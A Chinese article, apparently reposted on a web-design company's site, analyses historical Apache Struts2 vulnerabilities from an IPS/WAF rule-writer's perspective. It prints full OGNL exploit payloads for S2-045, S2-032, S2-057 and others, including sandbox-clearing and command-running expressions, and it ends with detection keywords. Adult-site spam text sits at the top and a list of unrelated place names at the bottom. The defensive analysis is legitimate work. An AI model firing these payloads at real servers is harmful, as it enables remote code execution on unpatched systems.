成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

如何從防護角度看Struts2歷史漏洞

這篇文章的內(nèi)容主要圍繞如何從防護角度看Struts2歷史漏洞進行講述,文章內(nèi)容清晰易懂,條理清晰,非常適合新手學(xué)習(xí),值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!

10年積累的網(wǎng)站設(shè)計、網(wǎng)站制作經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認識你,你也不認識我。但先網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程,更有鄢陵免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。

一、前言

   Struts2漏洞是一個經(jīng)典的漏洞系列,根源在于Struts2引入了OGNL表達式使得框架具有靈活的動態(tài)性。隨著整體框架的補丁完善,現(xiàn)在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復(fù)了歷史的高危漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰碰運氣,或者是打到內(nèi)網(wǎng)之后用來攻擊沒打補丁的系統(tǒng)會比較有效。

網(wǎng)上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的一部分工作是維護ips產(chǎn)品的規(guī)則庫,今天回顧一下這個系列的漏洞,給大家分享一些防護者的思路,如果有遺漏或者錯誤,歡迎各位大佬指正。

二、Struts2歷史漏洞

研究Struts2的歷史漏洞,一部分原因為了review以前的ips、waf的防護規(guī)則。開發(fā)規(guī)則的時候,我們認為有幾個原則:

1、站在攻擊者的角度思考;

2、理解漏洞或者攻擊工具的原理;

3、定義漏洞或者攻擊工具的檢測規(guī)則時,思考誤報、漏報的情況。

如果安全設(shè)備不會自動封ip,那么防護規(guī)則是有可能被慢慢試出來的。如果規(guī)則只考慮了公開的poc規(guī)則寫得太過嚴格,是可能被繞過的,所以有了這次review。先來看看Struts2的歷史漏洞的原理。

2.1判斷網(wǎng)站使用Struts2框架

一般攻擊者在攻擊之前會判斷網(wǎng)站是Struts2編寫,主要看有沒有鏈接是.action或者.do結(jié)尾的,這是因為配置文件struts.xml指定了action的后綴

<constant name="struts.action.extension" value="action,," />

但是上述這個配置文件解析之后,不帶后綴的uri也會被解析稱為action的名字。如下:

如何從防護角度看Struts2歷史漏洞

如果配置文件中常數(shù)extension的值以逗號結(jié)尾或者有空值,指明了action可以不帶后綴,那么不帶后綴的uri也可能是struts2框架搭建的。

如何從防護角度看Struts2歷史漏洞如果使用Struts2的rest插件,其默認的struts-plugin.xml指定的請求后綴為xhtml,xml和json

<constant name="struts.action.extension" value="xhtml,,xml,json" />

根據(jù)后綴不同,rest插件使用不同的處理流程,如下請求json格式的數(shù)據(jù),框架就使用了JsonLibHandler類對輸出進行處理。

如何從防護角度看Struts2歷史漏洞

xhtml和xml結(jié)尾的請求則使用HtmlHandler和XStreamHandler分別處理。所以在測試的時候,不能明確判斷網(wǎng)站使用的是否為struts2框架時,特別是碰到后兩種情況,都可以拿工具去試試運氣。

2.2Struts2執(zhí)行代碼的原理

Struts2的動態(tài)性在于ongl表達式的可以獲取到運行變量的值,并且有機會執(zhí)行函數(shù)調(diào)用。如果可以把惡意的請求參數(shù)送到ognl的執(zhí)行流程中,就會導(dǎo)致任意代碼執(zhí)行漏洞。ognl表達式的執(zhí)行在Ognl相關(guān)的幾個類里面,配置好調(diào)試環(huán)境后,對OgnlUtil類的getvalue或compileAndExecute函數(shù)下斷點,就根據(jù)參數(shù)判斷poc調(diào)用的流程,分析執(zhí)行的原理了。

2.2.1 S2-045,S2-046

以S2-045為例,查看web工程目錄的payload是

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

斷點攔截情況

如何從防護角度看Struts2歷史漏洞

根據(jù)堆棧查看信息

getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)

根據(jù)堆棧可以定位到漏洞原因,查看到Dispatcher函數(shù),發(fā)現(xiàn)如果content-typ字段包含了multipart/form-data字符串,就會把請求封裝成MultiPartRequestWrapper,走到了JakartaMultiPartRequest類的流程中

if (content_type != null && content_type.contains("multipart/form-data")) {
    MultiPartRequest mpr = getMultiPartRequest();
    LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

如果處理出錯,就會調(diào)用buildErrorMessage函數(shù)構(gòu)造報錯信息。

try {
    multi.parse(request, saveDir);
    for (String error : multi.getErrors()) {
        addError(error);
    }
} catch (IOException e) {
    if (LOG.isWarnEnabled()) {
        LOG.warn(e.getMessage(), e);
    }
    addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}

后續(xù)調(diào)用過程是buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. translateVariables ---->OgnlUtil.getValue ,補丁修改是buildErrorMessage不調(diào)用LocalizedTextUtil.findText函數(shù),這樣報錯后提交的輸入就到不了ognl模塊了。S2-046也是用到045的相同模塊,總體來看,045和046是17年上半年出現(xiàn)的漏洞,漏洞用到的是框架本身,限制條件少, 算是比較好用的Struts2漏洞了(雖然成功率也非常低)??梢钥吹浆F(xiàn)在網(wǎng)絡(luò)上大量的自動化掃描器或者蠕蟲,都自帶045和046,ips設(shè)備每天能收到大量此類日志。

2.2.2 S2-001

往前看,比較好用的漏洞中比較有代表性的有S2-001(S2-003,005,008年代比較久遠,后來出現(xiàn)了比較好用的新漏洞,所以這些漏洞用的人很少,對應(yīng)Struts2的版本也很低),001是Struts2框架最剛開始出現(xiàn)的第一個漏洞,跟045的執(zhí)行過程也比較接近,都是經(jīng)由TextParseUtil. translateVariables執(zhí)行OGNL表達式,TextParseUtil是文本處理的功能類。不同的是S2-001是在把jsp生成java類的時候,會對表單提交的參數(shù)調(diào)用evaluateParams從而調(diào)用文本處理類的OGNL求值功能。調(diào)用堆棧如下:

translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

如何從防護角度看Struts2歷史漏洞提交就能觸發(fā)漏洞

2.2.3 S2-016

接著是S2-016,以及S2-032,S2-033,S2-037,這幾個漏洞比較接近,其中S2-016是比較好用的,由于年代太過久遠了,現(xiàn)在已經(jīng)幾乎不可能利用成功,但是這個漏洞由于太經(jīng)典,還是值得看看。

獲取路徑的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect標(biāo)簽

如何從防護角度看Struts2歷史漏洞 調(diào)用棧:

getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代碼注釋意為, 在Struts2框架下如果mapping能直接獲得結(jié)果,就調(diào)用結(jié)果對象的execute函數(shù)。

如何從防護角度看Struts2歷史漏洞Uri標(biāo)簽中的redirect,對應(yīng)的是ServletRedirectResult這個結(jié)果,構(gòu)造函數(shù)如下,是DefaultActionMapper構(gòu)造的時候順帶構(gòu)造好的,

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(
                                METHOD_PREFIX.length()));
                    }
                }
            });

            put(ACTION_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring(ACTION_PREFIX.length());
                    if (allowDynamicMethodCalls) {
                        int bang = name.indexOf('!');
                        if (bang != -1) {
                            String method = name.substring(bang + 1);
                            mapping.setMethod(method);
                            name = name.substring(0, bang);
                        }
                    }
                    mapping.setName(name);
                }
            });

而這個ServletRedirectResult結(jié)果在解析Uri的時候,就會被設(shè)置到mapping對象中,調(diào)用棧如下:

execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后續(xù)ServletRedirectResult的execute函數(shù)執(zhí)行后,經(jīng)由conditionalParse調(diào)用文本處理類TextParseUtil的translateVariables函數(shù)進入Ognl的流程,代碼得到執(zhí)行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞,不過利用有個前提條件,需要開啟動態(tài)方法執(zhí)行的配置

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

S2-033和S2-037則是rest插件漏洞,一般來說插件漏洞利用還是比較困難的,因為開發(fā)網(wǎng)站的時候不一定會用到這個插件。S2-032的payload如下:

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

如何從防護角度看Struts2歷史漏洞

跟S2-016一樣,也是uri中帶特殊標(biāo)簽,其漏洞點也在DefaultActionMapper類的構(gòu)造函數(shù), struts.mxl文件中配置了DynamicMethodInvocation后,構(gòu)造mapping的時候會滿足if語句,設(shè)置method屬性為冒號后的OGNL表達式

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                    }
                }
            });

在調(diào)用完Struts2默認的攔截器后,進入DefaultActionInvocation的調(diào)用函數(shù)invokeAction,后者直接調(diào)用Ognl表達式的執(zhí)行。

如何從防護角度看Struts2歷史漏洞S2-032和S2-037也是通過這個步驟得到執(zhí)行的,不同的是這兩漏洞是基于rest插件的。rest插件使得struts2框架的請求具備restful風(fēng)格,參數(shù)直接放在uri里面提交,而非問號后面的字符串。如下為正常的請求:

如何從防護角度看Struts2歷史漏洞漏洞利用payload為:

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

如何從防護角度看Struts2歷史漏洞payload將正常的edit方法替換成了ognl代碼。rest插件使用的是RestActionMapper來解析uri,生成mapping,在其getMapping函數(shù)內(nèi),解析uri設(shè)置了method變量,

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null;
 if (lastSlashPos > -1) {
     int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1);
     if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一樣,也是通過ognl表達式來調(diào)用這個方法的時候,執(zhí)行了惡意的命令

如何從防護角度看Struts2歷史漏洞S2-037跟S2-032漏洞點一致,是對補丁的繞過,應(yīng)該是Struts2.3.28.1沒有修復(fù)好。

如何從防護角度看Struts2歷史漏洞

這兩個漏洞是16年的,也需要非常好的運氣才能利用,畢竟依賴rest插件且年代久遠。

2.2.5 S2-052

這個漏洞跟傳統(tǒng)的Struts2漏洞不同的是,并不是利用ognl表達式執(zhí)行的代碼,而是使用unmarshal漏洞執(zhí)行代碼。缺點就是也要用到rest插件,并且對jdk版本有要求,要大于等于1.8,使用JDK 1.7測試報錯如下

如何從防護角度看Struts2歷史漏洞使用JDK 1.8測試能正常執(zhí)行命令。

如何從防護角度看Struts2歷史漏洞由于使用的不是ongl表達式執(zhí)行的漏洞,防護思路也跟Struts2的常規(guī)防護有區(qū)別,后續(xù)可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代碼執(zhí)行有2個條件:

1、需要開啟alwaysSelectFullNamespace配置為true,一般提取請求中uri的時候,會對比配置文件中的namespace,匹配上了選取最長的一段作為此次請求的namespace。但是如果這個參數(shù)設(shè)置為true,就不做對比,直接提取action前面的所有字符串作為namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
    int lastSlash = uri.lastIndexOf(47);
    String namespace;
    String name;
    if (lastSlash == -1) {
        namespace = "";
        name = uri;
    } else if (lastSlash == 0) {
        namespace = "/";
        name = uri.substring(lastSlash + 1);
    } else if (this.alwaysSelectFullNamespace) {
        namespace = uri.substring(0, lastSlash);
        name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

標(biāo)紅的整體ognl攻擊表達式會被提取成為namespace。

2、使用了服務(wù)器跳轉(zhuǎn)的結(jié)果,這里的要求是配置了actionChaining類型的action,在配置action結(jié)果的時候,使用redirectAction(ServletActionRedirectResult類),chain(ActionChainResult類),postback(PostbackResult類)作為結(jié)果類型。

<package name="actionchaining" extends="struts-default">
   <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
      <result type="redirectAction">
         <param name = "actionName">register2</param>
      </result>
   </action>
   <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
      <result type="chain">xxx</result>
   </action>
   <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
      <result type="postback">
         <param name = "actionName">register2</param>
      </result>
   </action>
</package>

這樣在處理result結(jié)果的時候,會把namespace送到ognl引擎執(zhí)行。例如redirectAction(ServletActionRedirectResult類)的情況,分發(fā)器disptacher會根據(jù)action的結(jié)果,把流程傳給ServletActionRedirectResult的execute函數(shù),后者通過setLocation設(shè)置302跳轉(zhuǎn)的目的地址到自己的location變量(包含了ognl惡意代碼的namespace),

public void execute(ActionInvocation invocation) throws Exception {
    this.actionName = this.conditionalParse(this.actionName, invocation);
    if (this.namespace == null) {
        this.namespace = invocation.getProxy().getNamespace();
    } else {
        this.namespace = this.conditionalParse(this.namespace, invocation);
    }

    if (this.method == null) {
        this.method = "";
    } else {
        this.method = this.conditionalParse(this.method, invocation);
    }

    String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
    this.setLocation(tmpLocation);
    super.execute(invocation);
}

然后調(diào)用父類ServletRedirectResult的execute函數(shù)  ----> 調(diào)用父類StrutsResultSupport的execute函數(shù)

public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
}

protected String conditionalParse(String param, ActionInvocation invocation) {
    return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
}

其中conditionalParse是條件調(diào)用TextParseUtil.translateVariables進行ognl的執(zhí)行流程,這個條件是滿足的,參數(shù)就是之前設(shè)置的location變量,因此代碼得到執(zhí)行。

2.3Struts2沙盒防護和繞過

Struts2的每一輪新的漏洞,既包含了新的Ognl代碼執(zhí)行的點,也包含Struts2的沙盒加強防護的繞過,而每一輪補丁除了修復(fù)Ognl的執(zhí)行點,也再次強化沙盒,補丁主要都是通過struts-default.xml限制了ognl使用到的類和包,以及修改各種bean函數(shù)的訪問控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder這幾個類訪問,導(dǎo)致漏洞利用時無法使用構(gòu)造函數(shù)、進程創(chuàng)建函數(shù)、類加載器等方式執(zhí)行代碼,限制com.opensymphony.xwork2.ognl這個包的訪問,導(dǎo)致漏洞利用時無法訪問和修改_member_access,context等變量。

<constant name="struts.excludedClasses"
          value="
            java.lang.Object,
            java.lang.Runtime,
            java.lang.System,
            java.lang.Class,
            java.lang.ClassLoader,
            java.lang.Shutdown,
            java.lang.ProcessBuilder,
            com.opensymphony.xwork2.ActionContext" />

<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
          value="
            ognl.,
            javax.,
            freemarker.core.,
            freemarker.template.,
            freemarker.ext.rhino.,
            sun.reflect.,
            javassist.,
            org.objectweb.asm.,
            com.opensymphony.xwork2.ognl.,
            com.opensymphony.xwork2.security.,
            com.opensymphony.xwork2.util." />

調(diào)試時,可以對SecurityMemberAccess的isAccessible函數(shù)下斷點觀察ognl的沙盒防護情況。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
    LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
    if (this.checkEnumAccess(target, member)) {
        LOG.trace("Allowing access to enum: {}", target);
        return true;
    } else {
        Class targetClass = target.getClass();
        Class memberClass = member.getDeclaringClass();
        if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
            LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
            if (!this.isClassExcluded(member.getDeclaringClass())) {
                targetClass = member.getDeclaringClass();
            }
        }

三、網(wǎng)絡(luò)側(cè)Struts2的防護思路

一般的ips、waf規(guī)則,可以從兩個方向進行檢測,一個是檢測漏洞發(fā)生點,另外一個是檢測利用的攻擊代碼。Struts2有一些老的漏洞,很多是url中或者post表單中提交ognl代碼,從漏洞點來看并不是太好做檢測,所以一般的檢測規(guī)則還是檢查ognl代碼,配合漏洞發(fā)生點。結(jié)合payload來看,ognl代碼的構(gòu)成,技術(shù)性最強的ognl代碼是045和057的兩個payload,還是從045的payload來看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess變量進行了訪問控制限制,決定了哪些類,哪些包,哪些方法可以被ognl表達式所使用。045之前的補丁禁止了_memberAccess的訪問:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通過ActionContext對象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法獲取到ognlUtil實例:

#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()

通過ognlUtil的公開方法清空禁止訪問的類和包,后面則是常規(guī)的輸出流獲取和函數(shù)調(diào)用。這個ognl的payload比較典型,可以檢測的點也比較多。

一般來說,ips或者waf的Struts2規(guī)則可以檢測沙盒繞過使用的對象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的檢測點,防護規(guī)則也可以檢測函數(shù)調(diào)用ServletActionContext@getResponse(獲取應(yīng)答對象),java.lang.ProcessBuilder(進程構(gòu)建,執(zhí)行命令),java.lang.Runtime(運行時類建,執(zhí)行命令),java.io.FileOutputStream(文件輸出流,寫shell),getParameter(獲取參數(shù)),org.apache.commons.io.IOUtils(IO函數(shù))。不太好的檢測點包括com.opensymphony.xwork2.ActionContext.container這種字典的key或者包的全名,畢竟字符串是可以拼接和變形的,這種規(guī)則很容易繞過。其他時候規(guī)則提取的字符串盡量短一些,避免變形繞過。

測試發(fā)現(xiàn)有的waf產(chǎn)品規(guī)則只檢測DEFAULT_MEMBER_ACCESS和_memberaccess這兩個字符串之一,看起來很粗暴,有誤報風(fēng)險,不過檢測效果還是不錯的, Ognl表達式由于其靈活性,存在一些變形逃逸的,但是S2-016之后的漏洞要繞過沙盒很難避開這兩個對象及相關(guān)函數(shù)調(diào)用。繞過可以參考ognl.jjt文件,這個文件定義了ognl表達式的詞法和語法結(jié)構(gòu),ognl的相關(guān)解析代碼也是基于這個文件生成的,所以一般的繞過也可以基于此文件展開。

感謝你的閱讀,相信你對“如何從防護角度看Struts2歷史漏洞”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關(guān)知識點,可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站!小編會繼續(xù)為大家?guī)砀玫奈恼拢?/p>

網(wǎng)頁題目:如何從防護角度看Struts2歷史漏洞
標(biāo)題鏈接:http://jinyejixie.com/article28/ggesjp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供虛擬主機、網(wǎng)站策劃、網(wǎng)站排名移動網(wǎng)站建設(shè)、關(guān)鍵詞優(yōu)化、云服務(wù)器

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運營
平潭县| 阿克陶县| 乌兰察布市| 若羌县| 乡宁县| 庆城县| 临海市| 两当县| 平利县| 玉树县| 曲阳县| 图们市| 贵德县| 沧源| 本溪| 临泽县| 鄯善县| 西畴县| 大关县| 西畴县| 奉新县| 潮州市| 成安县| 加查县| 寻乌县| 邢台县| 崇州市| 盐池县| 湛江市| 康定县| 清水河县| 长垣县| 葵青区| 宝应县| 蒲江县| 彭水| 霸州市| 金山区| 临清市| 万荣县| 安溪县|